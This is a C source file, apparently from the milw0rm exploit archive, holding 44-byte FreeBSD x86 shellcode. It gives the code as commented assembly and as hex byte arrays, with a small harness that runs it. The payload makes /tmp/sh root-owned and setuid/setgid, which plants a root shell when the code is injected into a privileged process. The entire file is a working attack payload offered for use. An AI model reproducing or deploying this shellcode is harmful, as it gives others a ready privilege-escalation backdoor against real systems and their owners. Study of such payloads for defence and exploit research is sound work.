88 lines
No EOL
3.1 KiB
C
88 lines
No EOL
3.1 KiB
C
/*
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* FreeBSD shellcode
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* chown("/tmp/sh", 0, 0); chmod("/tmp/sh", 06755);
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* 44 bytes
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*
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* Claes M. Nyberg 20020209
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*
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* <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
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*/
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/*************************************************************
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void
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main(void)
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{
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__asm__("
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xor %eax, %eax # eax = 0
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pushl %eax # string ends with NULL
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pushl $0x68732f2f # push 'hs//' (//sh)
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pushl $0x706d742f # push 'pmt/' (/tmp)
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movl %esp, %ebx # ebx = &string[0]
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push %eax # 0
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push %eax # 0
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push %ebx # /tmp/sh
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push %eax # Dummy
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mov $0x10, %al # eax = 16 = chown
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int $0x80 # chown(/tmp/sh, 0, 0);
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xor %eax, %eax # eax = 0
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or $0xded, %ax # eax = 06755
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pushl %eax # 06755
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push %ebx # /tmp/sh
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pushl %eax # dummy
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xor %eax, %eax # eax = 0
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mov $0xf, %al # eax = 15 = chmod
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int $0x80 # chmod(/tmp/sh, 06755);
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mov $0x1, %al # eax = 1 = exit
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push %eax # exit value = 1
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push %eax # Dummy
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int $0x80 # exit(1);
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");
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}
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*************************************************************/
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#include <stdio.h>
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#include <string.h>
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static char freebsd_code[] =
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"\x31\xc0" /* xor %eax, %eax */
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"\x50" /* pushl %eax */
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"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
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"\x68\x2f\x74\x6d\x70" /* pushl $0x706d742f */
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"\x89\xe3" /* movl %esp, %ebx */
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"\x50" /* pushl %eax */
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"\x50" /* pushl %eax */
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"\x53" /* pushl %ebx */
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"\x50" /* pushl %eax */
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"\xb0\x10" /* mov $0x10, %al */
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"\xcd\x80" /* int $0x80 */
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"\x31\xc0" /* xor %eax, %eax */
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"\x66\x0d\xed\x0d" /* or $0xded, %ax */
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"\x50" /* pushl %eax */
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"\x53" /* push %ebx */
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"\x50" /* pushl %eax */
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"\x31\xc0" /* xor %eax, %eax */
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"\xb0\x0f" /* mov $0xf, %al */
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"\xcd\x80" /* int $0x80 */
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"\xb0\x01" /* mov $0x1, %al */
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"\x50" /* push %eax */
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"\x50" /* push %eax */
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"\xcd\x80"; /* int $0x80 */
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static char _freebsd_code[] =
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"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
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"\x68\x2f\x74\x6d\x70\x89\xe3\x50"
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"\x50\x53\x50\xb0\x10\xcd\x80\x31"
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"\xc0\x66\x0d\xed\x0d\x50\x53\x50"
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"\x31\xc0\xb0\x0f\xcd\x80\xb0\x01"
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"\x50\x50\xcd\x80";
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void
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main(void)
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{
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void (*code)() = (void *)_freebsd_code;
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printf("strlen code: %d\n", strlen(freebsd_code));
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code();
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}
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// milw0rm.com [2004-09-26]
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